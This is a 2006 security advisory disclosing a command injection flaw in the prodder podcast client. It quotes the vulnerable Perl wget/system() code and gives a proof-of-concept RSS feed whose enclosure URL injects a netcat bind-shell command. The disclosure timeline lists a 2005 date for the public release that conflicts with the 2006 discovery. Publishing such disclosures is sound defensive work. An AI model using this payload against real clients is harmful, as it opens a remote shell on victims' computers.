Advisory: Prodder Remote Arbitrary Command Execution

RedTeam identified a security flaw in prodder which makes it possible
for a malicious podcast server to execute arbitrary shell commands on
the victim's client.


Details
=======

Product: Prodder
Affected Versions: All versions up to prodder-0.4
Fixed Versions: prodder-0.5
Vulnerability Type: Remote arbitrary command execution
Security-Risk: high
Vendor-URL: http://prodder.sourceforge.net/
Vendor-Status: informed, fixed
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-002.txt
Advisory-Status: public
CVE: GENERIC-MAP-NOMATCH 
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

Prodder is a command-line based Podcast client (or aggregator, receiver,
doohickey) written in Perl that runs on just about any *n*x system. It
implements a few very useful features that are lacking in many of the
existing tools, while remaining simple and light-weight.

(from prodder homepage)

Podcasting is the distribution of multimedia files over the internet.
Normally, a server is providing an RSS or Atom XML feed describing where
to get the multimedia files. The client parses the feed and may then
download the desired files.


More Details
============

When prodder is used to fetch a podcast, prodder will extract the URL of
the audio-file from the XML-file the server provides. Prodder then uses
Wget to fetch the file. The source code looks as follows:

[...]
446 # Actually get the file
447 my $wget_cmd = "wget -qc -a '$conf{'errorfile'}' "
448     . "--tries=3 --timeout=20 --random-wait '$enc_url' -P '$outdir'";
449
450     # Background the wgets if needed - this will assume
451     # the downloads dont fail (once they've started)
452     $wget_cmd .= " --background" if $conf{'background'};
453 
454 
455 
456         print "Fetching item ($enc_url)... ";
457         if (! system($wget_cmd))
[...]

Unfortunately, $enc_url which holds the URL in line 448 is never
properly sanitized, so it is possible to include arbitrary shell
commands in the URL which will then be executed using system() (see line
457).


Proof of Concept
================

A minimal malicious server rss feed may look as follows:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<channel>
    <title>RedTeam Pentesting Example Malicious Server Feed</title>

    <item>
        <enclosure url="http://www.example.com/example.mp3'; nc -e /bin/sh -l 
-p 1337 & ';#'"
         length="241734" type="audio/mpeg" />
    </item>
</channel>
</rss>

The URL above will open port 1337 via netcat on the victim's computer
and bind a shell to it. This is just one example of how to exploit the
vulnerability, as arbitrary commands can be included in the URL, but it
should illustrate the point.


Workaround
==========

Do not use prodder with untrusted servers.


Fix
===

Upgrade to prodder-0.5 immediately[1].


Security Risk
=============

High, because arbitrary shell commands can be executed on the victim's
computer with the privileges of prodder (normally the user's
privileges).


History
=======

2006-05-18 Discovery of the problem
2006-05-19 Notification of the author
2006-05-19 Initial response of the author
2006-05-20 Fixed version of prodder is released
2005-05-22 Public release of the advisory without CVE
           number because of public release by the
           author. CVE will be appended when available.


References
==========

[1] http://prdownloads.sourceforge.net/prodder/prodder-0.5.tgz?download


RedTeam
=======

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks are uncovered and can be
repaired immediately.

As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.

-- 
RedTeam Pentesting            Tel.: +49-(0)241-963 1300
Dennewartstr. 25-27           Fax : +49-(0)241-963 1304
52068 Aachen           http://www.redteam-pentesting.de